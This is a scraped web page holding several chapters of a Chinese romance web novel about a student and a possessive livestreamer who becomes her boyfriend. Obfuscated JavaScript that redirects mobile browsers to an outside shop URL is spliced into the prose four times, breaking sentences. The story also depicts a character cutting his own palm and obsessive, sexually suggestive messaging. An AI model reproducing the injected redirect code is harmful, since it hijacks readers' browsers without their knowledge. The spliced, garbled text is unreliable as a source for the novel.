肖序看她只加了其中一个,干脆把所有能联系到他的方式都发给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后两个“口口”被黑笔涂掉了。 这写的都是什么意思啊? 薛年年越看越懵,泡什么……泡面吗? 在她睡着的时候,发生了什么事? 薛年年迷迷糊糊地拿着手机和小面包躲进了衣柜里。 漆黑又狭窄的环境让她感到了安全。 她检查了一下手机,看到通话记录里,在失去意识前她给舍友打了电话,应该是让她们到经济学院办公楼来接她。 醒来前一个小时她还接了卢剑的电话,看时间,应该是室友帮她接的。 可她自己完全不记得这些事情……看来真是烧糊涂了。 时间已经又到了晚上。 昨晚给某人的限制也已经“解禁”了。 她打开聊天软件想给家人也报个平安,却震惊地看到属于“肖序”的对话框上有【99+】的红点: 【姐姐吃了吗?】 【姐姐睡了吗?】 【姐姐想我了吗?】 【姐姐晚上好!】 【姐姐——】 【姐姐我准备好了[图片][图片]】 …… 【甜心……今晚没来看我吗?】 【……】 【甜心你生气了吗?】 【甜心我错了】 …… 【为什么不回我消息?已经过了二十四小时三十九分钟了!】 【你在忙什么?】 【不许无视我】 【为什么不理我??】 【算了随便你,我也没有特别特别特别喜欢你】 …… 【我错了】 【我真的错了】 【是我不对,我以后绝对不会做那种事了,你原谅我好不好】 【以后你说什么我都听你的】 【不要离开我】 …… 【出什么事了?】 【需要帮忙吗?任何事都可以】 [视频通话未接通][视频通话未接通]…… 【不要吓我】 【你在哪,我来找你?】 …… 【撤回】【撤回】 【卢剑说你没事,只是熬夜没休息好睡过头了……】 【还好吗?】 【没事,不用回复我,先好好休息】 薛年年看了一半,直接拉到底,看到了最后的消息,想了想还是回复说: 【》》我醒了】 【……】 对话框在瞬间就回应了她。 薛年年摸了摸头发,本想再补充两句,却看到对面说: 【没关系,不用再回复我】 【卢剑把事情都告诉我了,他之后会把钱还你,你没有必要继续勉强自己来看我……】 薛年年脑子还有点懵,没看懂他为什么这么说: 【》》啊?可是和钱没关系,我没有勉强自己】 【》》我本来就想要和你多聊聊】 对话框在她回复后,就一直显示“正在输入中……”,反复了许久,他终于发送道: 【……你对谁都这么好吗?卢剑也可以?】 【》》?】 【我不想你对其他人也这样】 【……】 【算了,忘掉上面那句话】 对话框继续反复纠结。 薛年年靠在安静的衣柜里,迷迷糊糊地快睡着了,他莫名又问她: 【姐姐,你喜欢我吗?】 薛年年才刚退烧,眼睛都睁不开了,想到李娅宁说的主播“营业”,随手回复道: 【》》喜欢啊】 对面沉默了许久,在薛年年即将睡着时,屏幕忽然闪了一下: 【……那我能当你男朋友吗?我也喜欢你】 19. 第一次交男朋友 屏幕忽然闪了一下: 【……那我能当你男朋友吗?我也喜欢你】 手机摊开在掌心里,狭小的空间内只有均匀的呼吸声。 薛年年靠在漆黑的衣柜边,安静地睡着了。 对话框停留在这句话上。 远在大洋彼岸的另一端,肖余发送完这句话后,将右手食指横在嘴角,像把它当作止咬器一样咬紧。 指节上钻心的痛觉让他的大脑略微冷却。 但冷静下来并不是因为“痛”,而是因为他实在过于厌恶这种没有“交融”的痛苦。 他给他自己身体带去的就只有“痛”而已,只有他一个人,没有任何多余的意义。 这样的痛苦不会产生爱,不会被她关注到,她也不会因此而担心他。 毫无意义的痛只会让他感到恶心,但他现在这样做,只是尽量想让他自己的语气显得不要太急切。 他实在太想要成为她身边特殊的人了…… 或许他之前感到的“纵容”都是错觉。 她对谁都这么好……包括卢剑? 为什么?为什么?为什么?为什么她要对其他人也那么好? 她会对别人笑吗?她有每天抱住她睡觉的人吗?她会在夏天和另一个人一起分享一杯冰激凌汽水吗? 这些他都不知道,他对她的一切一无所知。 如果未来的某一天……她真的像今天晚上一样,不再来看他了,那他该怎么办呢? 他该怎么办?? 等待吗?还是说就此放弃或者遗忘?不,不行!他做不到。 肖余想清楚了,他不想再被她当成一个可有可无的存在,或者说一条她可以随意抛弃的野狗。 至少要成为家犬吧…… 他原本不想和她说出类似于“恋爱请求”的话,这样的话太过于庸俗又浅薄。 但在她的世界里,这些话或许才算是“认真”的吧? 如果他像之前一样,继续用玩笑的语气说出大脑里真实的想法,她肯定不会把他的话当真。 想要成为家犬,想要被她捅伤,想要舔她,想要从她那里获得“痛苦”…… 她真的相信过这些话吗? 她会不会觉得他总是在骚扰她,故意在开玩笑? 卢剑告诉了他实话,她……之前根本就不能算是他的受众。 她几乎可以算是被骗来的。 在受骗之前,她从来不看类似的直播。 哪怕忽然从卢剑那里得知了,她并不是他的忠实粉丝,也不是他长久的观众,甚至在他身上可能没有放置任何情感寄托,之前他们是陌路人。 肖余发现,他自己的第一反应,竟然不是失落而是喜悦。 毕竟在某种意义上,他——或许也可以算是她的唯一。 和她有关的一切,都能轻易让他感到大脑发热。 或许他早就已经完蛋了。 为什么他现在才意识到这一点? 应该更早一些告诉她才行…… 肖余在对话里缓缓打字道:【我知道这可能有点疯狂,但——】 动作忽然停了下来。 写下这几个字后,肖余望着对话框,停顿了许久。 自他发出“恋爱请求”后,对方已经很久没有回复过他了…… 或许,他的想法是一厢情愿的。 没错,她并不爱他。 肖余猛然意识到,在她眼中,现在的他除了一张脸,什么都没有。 在她眼里,他的形象大概率就只是个为了钱,可以不择手段的擦边主播。 卢剑说过,她的家庭条件很好,心地也很好,把路边中暑的人送进了医院后,还帮忙垫付了医药费。 就算他之前感受到了她的“纵容”,那也只是因为她本来就很会爱人。 她的心里有很多爱意,或许她从小就生活在爱里。 她的父母也肯定不会允许她和一个一个明显“不怀好意”的擦边主播交往。 这是在引狼入室。 他现在只是她深夜的消遣,他不可能有资格独占她。 他的“恋爱请求”只是在自取其辱而已。 肖余猛然意识到,他或许配不上她,对,他没有资格。 “铛,铛——” 时针逐渐指向整点。 钟声像刺耳的警告,一股如坠冰窖般的窒息感笼罩了他的全身。 止咬器已经没用了。 肖余起身来到一旁,随手取过一把锋利的调音器。 尖端泛着幽蓝的光泽。 “嚓……” 他面无表情地将尖锐处抵在掌心,划过一道细长的伤口,猩红的液体瞬间从血管中溢出。 “滴……嗒……滴嗒。” 时钟指针的声音逐渐加快,还有血液落在地毯上的声音吗? 肖余现在并不在意那些。 粘稠的红色缀在指尖,他想让自己靠“厌恶”再次冷静下来,效果却并不好。 或许他的告白对于她来说都是一种侮辱。 她或许会因此厌恶他,从此对他置之不理。 意识到这一点,肖余无法冷静,拒绝他也可以,怎么样都可以,不要,不要,不要不理他,他可以做任何—— 【》》啊,怎么忽然……】 “嗒。” 用来冷却大脑的血液滴落在屏幕上。 【》》你说的“男朋友”,是我理解的那种意思吗?】 随着黑色字迹的延展,暗红色的血线从其中蜿蜒而过。 像要把屏幕分割开来,文字与文字之间被割开龟裂的痕迹。 她回复他了,她又理会他了,她是不是不讨厌他,不讨厌就好——不对,这会不会是她疏远他前礼貌的敷衍? 她是不是真的要离开他了? 分离焦虑,不安全感……如同悬坠在断崖边缘。 肖余呼出一口气,尝试让自己冷静。 他确实是那种意思,但他又不是那种意思。 他想用最克制的语气回复她说“不是”,一个原本居心不良的主播确实配不上她,不要因为这件事厌恶他。 然而回复还没发出,对话框中又出现另一行字: 【》》有点意外,为什么忽然这么问我呢?】 不对,等等。 肖余盯着这句话,猛然愣住了。 意外?如果他没理解错的话,这个语气—— 屏幕另一边,薛年年靠在衣柜门上,半梦半醒。 她其实不太理解“恋爱”这种事情。 从小学校里就不准早恋,老家那边的人也都不喜欢她。 那些人都只会欺负她——当然更多的人都只会躲在角落里各种议论她。 不过他们说的肯定都不是什么好话,毕竟从来没有人主动靠近过她。 但薛年年其实大概知道“男朋友”是个什么东西,毕竟宿舍楼下每天都有男生送女生回来,然后他们就会在路边抱着啃,拉都拉不开。 肖序也会有想要送人回宿舍的想法吗? 不太可能吧。 他看起来对这种事完全没有耐心。 这大概率也和“肖序”之前说的“喜欢”一样,是主播的一种营业方式? 薛年年明白了。 李娅宁嘱咐过她,如果还对主播有兴趣,在对方向她营业时,可以凭心意回复,只要心里明白是什么样的就行了。 薛年年看到屏幕上,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846067|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发完问题后,对方很快反问回来,似乎很是急切: 【意外?是好的那种还是坏的那种】 【》》好的那种,我很好奇】 薛年年实话实说道。 【……】 【……】 【》》不要总是发省略号,已经好晚了……密密麻麻的点,看起来好晕,又要睡着了】 【……】(撤回) 【老婆!!!】 【》》?】 在连续不断的黑点中突然岔进这么一句话。 薛年年愣愣地看着屏幕上的称呼,反应过来,刚刚她的回复好像导向了很不得了的结果。 等等……“好奇”是同意交往的意思吗? 不对吧。 【好喜欢你】 【好喜欢你】 【好喜欢你】 薛年年看到这一连串的喜欢已经傻了,对面却还在发送道: 【[图片]你看我儿也喜欢你!】 屏幕上的三花猫猫被他像人质一样架起来。 它毛茸茸的猫脸上全是震惊和不解,薛年年不知道她为什么能从一只猫脸上看到这么清晰的情绪,但觉得她现在的表情肯定和猫一模一样。 【甜心你是世界上最完美的人!我要给你当一辈子的狗[爱心][爱心][爱心]】 薛年年:“……” 好吧,她震惊早了。 肖序白天那张冷脸就说不出这种话,这家伙现在果然是在营业吧! 【以后我只听甜心你一个人的话,我的一切都是你的[爱心][爱心]】 【》》啊?哦……好!全听我的】 她根本没必要太在意这件事情。 薛年年直接忽略掉了那些莫名其妙的称呼,对他说:【》》再看看猫!】 【[图片][图片]】 对方立刻听话地发来两张实况图片。 薛年年点开后,本想隔空撸撸猫,却看到图片里的猫似乎正在和“肖序”打架。 一般“肖序”直播时,最多都只会露个一半的腹肌,或者把领口敞开,把断粮良好的肌肉线条半遮半露。 这次也一样,薛年年看多了都快免疫了,直接只看猫。 图片上,猫咪趴在他的胸口处,把他的领子完全扯了一半下来,爪子按在胸口上,露出了—— 等等。 好像不太一样啊!!! 薛年年的脑子懵了。 她直接懵到了第二天早上,后续发生了什么都不记得,甚至比感冒还严重。 第二天早上的建模课上,李娅宁用手在她面前晃了晃,薛年年才惊醒一般,迷茫地对她说: “粉色的……” “什么?”李娅宁没听明白。 是粉色的!!! 薛年年的脸后知后觉地变得通红,给李娅宁比划:“那个猫,就是那个!!!粉色的!” 李娅宁:“?” 李娅宁猛拍了一下旁边的柳思睿问:“你知道这是什么意思吗?” “什么?” 今早一到教室,柳思睿就一直强迫他自己不要去关注身边那个跟踪他的变态。 然而忽然被李娅宁推了一把,他下意识就看向了薛年年的方向。 薛年年还在吞吞吐吐地给他们解释,柳思睿见她望向他时脖颈通红,他的耳根莫名其妙也跟着变红了。 她今天穿的——白色? 又和他是一样的? 不行,不能这样下去了! 得赶紧解决掉她!!! 柳思睿被她的衣服颜色吓了一大跳,呼出一口气,掐住薛年年还在比划的手说: “下课以后有空吗?我有事情找你。” 20. 第一次哄睡 “等会下课后有空吗?我有事情找你。” 薛年年被他猛然掐住了手,脑子瞬间冷却,脸也没那么红了。 她有些疑惑地看了一眼柳思睿,发现他表情很是严肃,似乎是想要找她说正事。 表哥这是…… 终于决定要请她去家里做客了吗? 太好了! 她终于可以不用再记挂这件事情了! 薛年年立刻点头,有些兴奋地对他说:“我有空的,你什么时候找我都有空!” “倒也不用什么时候都有……” 听到她的话,柳思睿的耳根越来越红,没忍住又补充了一句: “反正下课之后你等我一会,我回去拿个东西就来找你,地点人工湖的假山后面,方便吗?” “嗯嗯,好!”薛年年认真记下。 她本想再多问一句“做客前还需不需要做什么额外的准备”,却看到柳思睿的眼下挂着两团青黑,像是昨晚没睡好。 薛年年刚迟疑了一秒钟,柳思睿就像在躲她一样缩回了原位。 薛年年:“?” 她有些迷茫地戳了戳一旁的李娅宁,问道:“宁姐,你知道柳——他为什么今天黑眼圈这么重吗?” “哎哟乖乖,你就别担心柳三分钟了,他壮得像头熊一样,一星期不睡都没事,还是先担心担心你自己吧。” 李娅宁拍拍她的脑袋,“你今早来上课的时候小腿都在发颤,是不舒服吗?” 薛年年有些不好意思地摸摸头发:“嗯,有点小感冒。不过——” “不过还是很想知道为什么他会有黑眼圈,是吧?” 李娅宁觉得少女怀春的心思真是可爱,“柳思睿他能因为什么失眠?还不就那一样,睡不着就去研究肖序呗。” “……啊?肖序又怎么了。” “你不知道?柳思睿和肖序其实是室友,昨天肖序破天荒回了一趟宿舍,据他说好像衣袖还被雨打湿了。” 李娅宁神神秘秘地凑到薛年年耳边说, “他和肖序同学了十几年,第一次看到他状态这么奇怪。而且回宿舍后,他竟然还没立刻处理那件湿掉的衣服,只是坐在椅子上等。” “等到了晚上,肖序似乎是得到了一条什么消息后,才又一言不发地离开了宿舍。” 李娅宁笑道,“我们的柳大少爷昨晚想破头都没想明白,那条短信究竟写了什——” “喂别在旁边八卦,我听得见!” 柳思睿有些不满地打断她,“而且我哪有想那么久,就想了三分钟而已。” “哟,三分钟就长出黑眼圈了?”李娅宁问他,“那你说说你昨晚为什么失眠?” “当然是因为——” 柳思睿的余光不自觉瞥向一旁的薛年年。 他昨天在楼梯间撞见她后,回去就做了噩梦。 梦里薛年年的脸被头发完全遮住,腿悬在半空中,身后还飘着青黑色的鬼火,一边追他还一边幽怨地喊: “我半夜就来堵你了……我半夜就来了……” 柳思睿被吓得一晚上都没睡好,脸色铁青,眼睛里全是红血丝。 但他总不可能直说他怕鬼吧! 柳思睿止住话头:“反正不是因为肖序,你别管了!” 李娅宁才不相信,正想再呛他两句。 薛年年却有些关切地插话道:“那你下课之后要先回去睡一会吗?我可以等你休息好。” 柳思睿听到她的语气,脸瞬间又红了,赶紧说:“不用!我没事,哪有那么严重。” “……真的吗?”薛年年觉得自己这个表哥大概又在硬撑。 她隔着桌子凑近了他,执着地想确认一下他眼睛里的血丝,看他是不是真的没事。 柳思睿惊得立刻往后躲,却还是被她一把拉住。 他的眼睛瞬间瞪大,脸红得像要滴血。 就在这时,预备铃忽然响起。 肖序再次在铃声响起的那一刻,缓步走进教室。 他的目光像是随意,又精准地落在角落的座位上。 不知道为什么,柳思睿莫名感觉到他自己后背有些发凉。 他没忍住打了个寒战,赶紧甩开薛年年的手,朝她小声吼道: “我真的没事,你离我远点!”女孩子家家的像什么样! 薛年年愣愣地被他甩开,不明白他为什么又生气了。 以前姥姥就是这么关心她的啊……对待亲人不就应该这样吗? 她还以为表哥约她课后谈话,是她们关系变好了的证明呢…… 薛年年蓦然觉得有点委屈。 她缩回到座位上,看到一旁的李娅宁猛锤了几下柳思睿的脑袋,又看到不远处,肖序朝她走来。 她垂下头,有些兴致缺缺,但又礼貌地小声和他打招呼说:“早上好……” 肖序没有回应她,只是沉默地在她身旁坐下。 薛年年都已经习惯他白天就是这么高冷了。 她本来就不觉得“和深夜的肖序谈恋爱”这件事,会带来什么改变。 然而过了几秒,等到她觉得身旁的温度都有些降低时,肖序忽然对她说: “昨晚,你没回我消息。” 薛年年被这句话吓得心脏差点停跳。 她的脸色瞬间变得煞白,下意识往后闪躲,以为自己深夜的互联网马甲已经被他给识破了! 但说完这句话后,肖序就没有再多言,只是用一种略带疑问的目光望向她:“怎么?” “你要了我的联系方式。” 他的声音依旧冷冰冰的,语调却并不算疏离。 薛年年愣了一秒,立刻摸出自己的手机检查,看到深夜,肖序的私人账号给她发过一条: 【记得吃药,隔6小时换一次退烧贴】 啊……原来说的是这个。 薛年年心里悬吊的石头瞬间落地。 也对啊,如果肖序真的发现她在网上看他擦边—— 那她肯定早就作为可能的“告密人”被他给报复了!还用等到课上吗? 薛年年的脸有点红,小声解释说:“抱歉啊,昨天后半夜我睡迷糊了,没看手机。” 其实并不是…… 她是被“肖序”照片里的粉色仍子吓得——停! 薛年年知道“肖序”后来肯定还给她发了一些消息,但她决定当鸵鸟,一条都没敢再看,结果就错过了他私人账号的留言。 白天的肖序还是很正常的…… 薛年年觉得自己不能反应太大。 她稳定下心神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在寂静的黑夜里,他的呼吸伴奏着旋律,像羽毛一样,她的耳朵产生了轻微的痒意。 如果不是此刻播放的地点是卫生间,薛年年绝对会再听一遍。 她缓缓叹了口气,刚想回教室,目光又不经意瞟到了屏幕顶端的那张图片。 图片上的猫,领口,还有胸前粉色的—— 【》》都怪你!!!】 薛年年的脸红透了,没忍住发了一条。 她没想白天就被回复,但刚发送过去,对方就像是一直在等一样回应了她。 【???】 【怎么了甜心?】 【》》你太过分了!!】薛年年啪啪打字。 【……】 【我错了】 【但我究竟错哪了啊,你要告诉我我才能改】对方光速滑跪。 下课时间太短,薛年年都不知道该怎么说起,只能先简短控诉他一段。 然而还没等她编辑完,对面就发来:【甜心,我是不是又惹你生气了……】 【你是不是……不想要我了?】 21. 第一次等她 【甜心,我是不是又惹你生气了……】 【你是不是……不想要我了?】 薛年年望着这两条回复,不知道为什么,莫名又陷入了沉默中。 手机越来越烫。 在寂静的隔间里,她觉得掌心有一点痒。 就像是被路边的小狗舔了舔手心,如果她想要离开,对方就会立刻用尾巴缠住她的脚踝。 它缠的时候会很用力,眼神却是可怜兮兮的……它不想让她走。 薛年年盯着屏幕上的文字,沉默了几秒,缓缓叹了口气。 她把控诉他的话删掉,转而问道: 【》》为什么你总是觉得……我会就此不理你了呢?】 【大概因为从昨天晚上到今天,你已经不理我六个小时零四十九分又三十七秒了?】 “肖序”的日程真的已经精确到秒了啊…… 薛年年愣愣地望着对话框中那一连串的数字,除了感叹外,还微妙地察觉到了一点,仿佛一直在被窥探着的不自在。 她有些苦恼地摸了摸自己的头发,问:【》》有那么久吗?】 【有】 【……】 【我一直在等你】 “……” 薛年年说不出任何话了。 她总觉得“肖序”在网上和她聊天时很奇怪,就像是一直很没有安全感。 他明明长得很好看,能力也很强,为什么他会这么害怕她离开呢? 薛年年想不明白,难道—— 难道是因为他现在真的非常非常缺钱吗? “肖序”是不是马上要交不起妈妈的医药费了,所以和她说话的语气才这么急切又没有安全感啊? 薛年年下意识摸向了自己的口袋,里面有她之前为了备用,取出来的一百块钱现金。 马上要月底了,她现在身上没有太多的余钱。 薛年年咬了咬嘴唇,下定决心,告诉他说: 【》》别担心,至少到下个月5号之前,我都不会放任你不管的!】 【为什么只到下个月5号?】对方瞬间发来回复。 【那之后你就要离开我了吗???我不要我不要我不要我不要我不要我不要我不要】 【》》别闹脾气!】 薛年年发了一个敲他头的表情包。 每个月5号是发生活费的日子。 薛年年有存一些应急的钱,如果这个月用省一点,再加上下个月的生活费……到时候应该能帮“肖序”的妈妈再应急一段时间? 她思索着,又打字道: 【》》其实5号我都不一定能保证——你自己也要再想想办法啊,不能总指望我!】 薛年年知道她那点钱只是杯水车薪,她不敢承诺些什么,只希望“肖序”能找到更长期,更稳妥的办法。 然而接到她的回复后,对方却格外委屈地又回复道: 【不指望你吗?但我只喜欢你,只有你才可以】 ……什么? 竟然只有靠她这一个办法吗? 那,那她的压力好大哦! 薛年年哭唧唧地反应过来,谈恋爱……好像是很费钱的事情。 她忿忿打字道:【》》你真是笨蛋,没有我就不行了吗!!】 【没有你就是不行】 【……】 【下个月5号吗?】 这个时间点就像一个制约,又像一个诅咒。 发完这句话后,肖余沉默地看着屏幕。 他灰蓝色的眼睛如同凝结,仿佛在酝酿着什么,过了一会后他才又发送道: 【那我等你到5号】 【5号之后,不管你说什么,就算后悔也没用了哦甜心?】 见面亦或是更深的联系……她还需要时间适应。 肖余觉得他不能表现得太心急。 如果吓到了她,她逃跑的话—— 肖余将翻涌的心绪藏在眼底,转移话题说: 【而且我的确很笨,老婆你还没告诉我之前你在气些什么呢?】 薛年年完全没注意到他语气的变化,只气呼呼地把之前删掉的“控诉”写回来: 【》》当然是因为你昨天晚上说的那些事情!男朋友,谈恋爱什么的……还有照片!】 【》》我今早脑子里一直想着你,在我的朋友面前表现得很奇怪,傻呆呆的,都是因为你!】 【》》真的特别傻!好傻!你太过分了!!】 薛年年像倒豆子一样把脑子里的废料全部倒给他。 但意外地,对方没有再道歉。 接到她气愤的控诉后,“输入……”的提示格外明显地停滞了几秒。 时间仿佛都暂停了。 过了好一会,对话框突然又炸出了一大段字:【别撒娇了啊啊啊啊啊啊老婆我好喜欢你,我怎么会这么喜欢你,好喜欢喜欢喜欢喜欢喜欢喜欢】 【》》在和你说正事呢!不要老是打岔】 【》》很影响我的正常生活,我不要白天总是想着你了!】 【想我怎么了?我又高又帅又年轻又会叫,你不想我想谁?想你的朋友吗??男的?女的?不男不女的?几个人?叫什么名字?】 【》》……啊?你问这个干什么】 【》》等等,又年轻又会叫——这又是什么意思啊?】 叫什么?等她把他捶得嗷嗷叫吗? 薛年年发现她每次和肖序在网上聊天,都会有很多听不懂的词汇。 她刚想退出去查一下,却看到对方立刻发来了一条【语音1’’】 薛年年下意识点开,一声极为色气的喘息,混合着一点难耐的水声,毫不掩饰地钻进她的耳膜。 就像在舔她后颈一样,呻吟声粘腻,濡湿,失控般的急促,带着潮热的呼吸—— 薛年年吓得差点把手机扔出去! 【怎么样?说过了,我很擅长:D】 【甜心想再多听听吗?】 【》》……真的好想捶你哦】 【捶呗,把我捶痛了我再多叫两声给老婆助助兴!】 【》》你就没有不想那种事情的时候吗!!】 【没有啊】对方毫不犹豫道。 【我做梦都想你快点来骑我】(撤回) 【要等到5号吗……】 【太久了,在那之前——下次奖励,是什么时候呢?】 薛年年一时没反应过来:【》》奖励?】 【嗯】 【上一次,我一直在想着你】 【感觉……很美妙】 薛年年反应过来了。 她的脸变得通红,手机扔回到口袋里,猛地推开隔间的门。 她跑到洗手间外,掬起一捧凉水,冰凉的温度瞬间冷却了她发热的脸。 如果她没猜错,肖序应该是坐在教室里给她发这种东西的吧? 他竟然还敢在教室里偷偷叫……胆子好大! 薛年年在倍感惊讶的同时,不禁感叹真不愧是藏了这么久的顶级擦边主播! 他怎么干什么都这么厉害? 薛年年觉得他简直该去当间谍。 课间偷偷跑出来控诉完“肖序”后,薛年年震惊地发现,她脑子里的黄色废料丝毫没有减退,反而堆积如山了! 好可怕……好可怕! 肖序暗戳戳营业的能力简直强得离谱。 薛年年没忍住把他之前哼的那段“安眠曲”又调了出来。 低沉,轻缓,不管是唱歌也好,还是说叫——停! 沙哑,冷色调,带着一点熬煮的薄荷糖浆的味道。 肖序的声音真的很好听。 他都这么努力了……男朋友就男朋友吧。 反正等他筹够了钱,不用再营业了,这段关系自然就结束了吧? 薛年年一边想着,一边赶紧小跑回教室。 那段旋律短暂地清空了她的大脑。 上课时,她格外认真,没有再下意识去偷看肖序,脑子里的黄色废料也没有再跳出来捣乱。 等到了下课,铃声响起的那一秒。 柳思睿立刻起身,飞快跑回宿舍去拿东西。 李娅宁还有击剑队的训练,她看了一眼还在认真抄板书的薛年年,发现她抄得很沉浸,似乎都没意识到已经下课了。 思索了两秒后,李娅宁又有些疑惑地望向她身旁的人。 那个人……只是安静地坐在那里,表情冷淡,永远一副生人勿近的样子。 但他一直没有离开。 为什么?? 李娅宁的表情不禁怔了怔。 但因为训练紧迫,她最终还是压抑住了疑问,赶时间先走了。 其他同学大多也都先行离开。 随着时间推移,教室里只剩下两个人。 薛年年把所有内容都抄完后,手已经有点酸了。 她放下笔,刚想收拾东西,猛然回过神来时,发现身旁竟然还坐了个人! 薛年年吓了一大跳:“哎,肖——你怎么还在,是有什么事吗?” 以前肖序总是会提前先走,薛年年这是第一次见他留下来。 她的声音格外疑惑。 肖序略微侧头,冷声道:“我发过时间表,你没有看。” 薛年年:“……?” 他眼眸微阖,似是说明又像只是在陈述事实:“现在,是留给你的时间。” 薛年年愣住了。 她赶紧又把昨天她晕乎乎错过了的消息翻出来,发现肖序的私人账号的确给她发过一个排得满满当当的时间表。 ……他竟然这么忙吗? 缺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912331|190153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱的人真是不容易啊。 肖序白天永远一副冷淡的样子,大概率是因为直播和兼职工作把他给燃尽了吧? 薛年年立刻有点不好意思地说:“没关系的,你不用等我,我每次抄板书都要抄很久,我自己都觉得是在浪费时间……” 肖序目光微动:“没有等。” 他瞥了一眼她记得密密麻麻的笔记本。 收回视线,缓声说:“只是……现在要和你待在一起。” 他似乎对这个新安排颇为不适应,说完这句话后,他的眉心略微皱起。 薛年年也没听懂他这是什么意思。 但既然他都主动留下来了,不管是作为普通队友,还是“地下男友”——她总不可能直接把肖序给赶走吧? 现在时机也恰当,薛年年立刻把之前借的书递还给他: “那个,我上次借了你的书,抱歉一直没找到机会还给你。” “不必。” 肖序没有伸手接过,声音依旧冷淡道,“是留给你的。” “……啊?” 可她是第一次上课的时候找他借的啊? 薛年年疑惑道:“你那个时候就准备把书留给我了?” “嗯。” 薛年年:“?” 可是为什么呢,那时候她和肖序根本就不熟啊? 虽然现在也不算很熟,却是陌生的恋爱关系。 薛年年觉得这个关系实在太复杂了,她完全猜不透肖序的心思。 她的社交技巧本来就很烂,甚至面对陌生人时根本就说不出话。 如果不是因为“肖序”在网上对她太热情,薛年年其实到现在都不敢主动和他交流。 不过既然他当初愿意借书,就表明肖序本身就是个很热情又很友善的人吧? 他那么冷淡只是因为营业耗尽了他而已…… 薛年年强行忽略掉大脑让她“快跑”的警告,为了缓解冷场,她本能地和肖序胡乱闲聊起: “那,那谢谢你了。嗯,一会我要走,还要去找柳思睿,他之前说让我去假山后面见他,不知道他要和我说些什么呢?” 她的尾音下意识上扬,似乎有些期待。 但话刚一说出口,薛年年就感到了后悔。 气氛果然冷场得更厉害了! 话音落下后,教室里一片死寂。 昨天肖序才刚和她说过:“我对你的私生活不感兴趣。” 她竟然就这么傻乎乎地忘了…… 薛年年正想找补一声,却看到一旁的人略微皱眉,表情意外地,不似刚才一样漠然。 他停顿了一瞬,沉声问道:“为什么见他?” 虽然肖序的声音依旧很冷,薛年年却莫名觉得,他此刻……似乎很在意她的回答? 她愣了愣,下意识回答道:“因为柳思睿是我——” 远方表哥?不对! 肖序才不会想听这些家长里短的私生活。 薛年年自己都觉得亲戚关系解释起来很麻烦,便匆忙把话音一转,慌乱找补道: “我,我很需要他!他能帮我好多。” “还有很重要的事,他也能带我去完成,他家里很厉害,我一个人做不到——这一次他愿意私下见我,应该是准备答应我了吧?” 薛年年越说声音越小。 她的声音中依旧带着一丝不确定的期待。 尾音消逝在空气里。 教室再次陷入死寂。 “……” 一点隐秘的沉默被划开。 过了几秒,肖序说:“是吗。” 声音是陈述的语气。 在凝滞的氛围里,薛年年看到他伸出手,缓慢地……轻轻将她额前的发丝拂开。 冰凉的指节蹭过她眼角的小痣。 薛年年下意识躲了一下,却被肖序牵住了发梢。 她愣愣地停下动作,没敢再挣扎。 黑色的发梢落在他的掌心里。 指节缓慢移动,带起一阵细微的战栗……发梢被他捧起。 他似乎想要些什么,喉结克制地滚动了一下,湿冷的呼吸倾洒在她的发尾。 薛年年不知道他要做什么。 静默,静默了许久。 在他灰蓝色的瞳孔里,仿佛有一种翻涌的,她完全不懂的情绪在逐渐凝固。 蓦然间,似乎是鬼使神差般,他将发梢靠近嘴角,轻轻碰了一下。 带着草木香气,苦涩感冒药味的气囊被戳破。 瞬间,他又松开掌心里的黑发,发梢在他的指尖缠绕,又很快滑落。 “明白了吗?”声音中带着一丝喑哑。 仿佛刚才的一切都没有发生过。 肖序抬起头,灰蓝色的眼睛望向她,缓声说道: “他不会帮你。” 22. 第一次争吵 “不会帮——唔,别……” 松开手,距离却更近了。 光线在肖序深邃的眼底投下阴影。 似乎并不像他永远冷静的语调一样,什么都没发生过。 呼吸,空气……连流动都变得困难。 不知道是谁的心跳声塞满了耳膜。 “噗通,噗通。” 薛年年什么都听不见,一股几乎要令她窒息的薄荷味压在胸腔。 交错的呼吸让她的指尖微微发麻。 薛年年颤抖了一下,后背瞬间紧绷,闭上眼,往后瑟缩着躲开。 “不想靠近我吗?” 声音落在她的头顶。 低沉,清冽,仿佛在询问,却并没有给她丝毫喘息的空间,她的手腕被人拉过去,按在冰凉的骨节上。 凹凸不平的咬痕刻在腕骨上,在黑暗中,触觉愈发灵敏,薛年年摸到了它,指尖像被灼烧。 “昨天,你咬的。” “我,不——是要我说对不起吗?”薛年年要被吓哭了。 